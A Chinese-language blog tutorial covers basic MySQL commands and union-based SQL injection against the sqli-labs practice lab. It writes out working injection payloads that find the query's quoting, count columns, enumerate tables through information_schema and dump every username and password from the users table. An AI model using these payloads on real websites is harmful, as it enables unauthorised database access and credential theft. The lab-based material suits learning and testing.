漏洞扫描原理以及SQL注入


漏洞扫描原理以及sql注入

关于漏洞

漏洞为什么会出现?

——因为和用户有互动。

因为需要调用后端的逻辑代码,甚至需要调用数据库或者操作系统命令

最基本的sql

sql注入靶场 sqli-labs

命令行操作数据库

mysql.exe -uroot -proot
//输入用户名和密码连接数据库

show databases;
//查看数据库所有库名

use [库名];
//进入某个数据库

show tables;
//查看数据库有多少张表

select * from [表名];
//查看表中所有内容

select * from table where id<13 limit 1,2;

select 1,2,3,4,5;
//自己创建一个表

select * from table where id<13 union select 1,2,3;
//联合查询

基本sql注入攻击

ps本次用的是sqli-labs里的第一题

估算目标数据库语法

select username,password from table where id=1 limit 0,1;

黑客需要破坏数据库语句目的是:为了知道数据库的闭合方式。

这个世界上所有的闭合方式

‘ “ () (‘x’) ((‘x’)) (“x”) ((“x”)) (()) 和没有任何闭合方式的

猜测比如:

id=2'

报错:’’2’’ LIMIT 0,1’

即实际上:’2’’ LIMIT 0,1

\ = 转义字符:把后面的第一个东西变成字符串

select username,password from table where id=' 2\' limit 0,1

闭合失败,报错,爆出闭合内容,知道闭合方式是’’

数据库注释符

--

/**/

#

+相当于空格

那么就可以把后续内容注释掉:

select username,password from table where id=' 2' --+ ' limit 0,1

即:select username,password from table where id=' 2'

确定有多少个栏目

id=2' order by [数字] --+

完整即:

select id,username,password from table where id=' 2' order by 10 --+

发现order by 3正常

说明他数据库里有3个栏目

显示报错位

select id,username,password from table where id=' -2' union select 1,2,3 --+ ' limit 0,1

id=-2' union select 1,2,3 --+发现报错位是2,3

查看数据库的库名

id=-2' union select 1,database(),3 --+

库名是security

根据库名找到表名

id=-2' union select 1,table_name,3 from information_schema.tables where table_schema = 'security' limit 0,1 --+

查到表名emails,referers,uagents,users

根据表名找到列名

黑客觉得users里面的数据很有价值\

id=-2' union select 1,column_name,3 from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1 --+

发现users里有id,username,password

黑客需要拿到所有的usernamepassword的值

id=-2' union select 1,group_concat(username),group_concat(password) from users --+


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录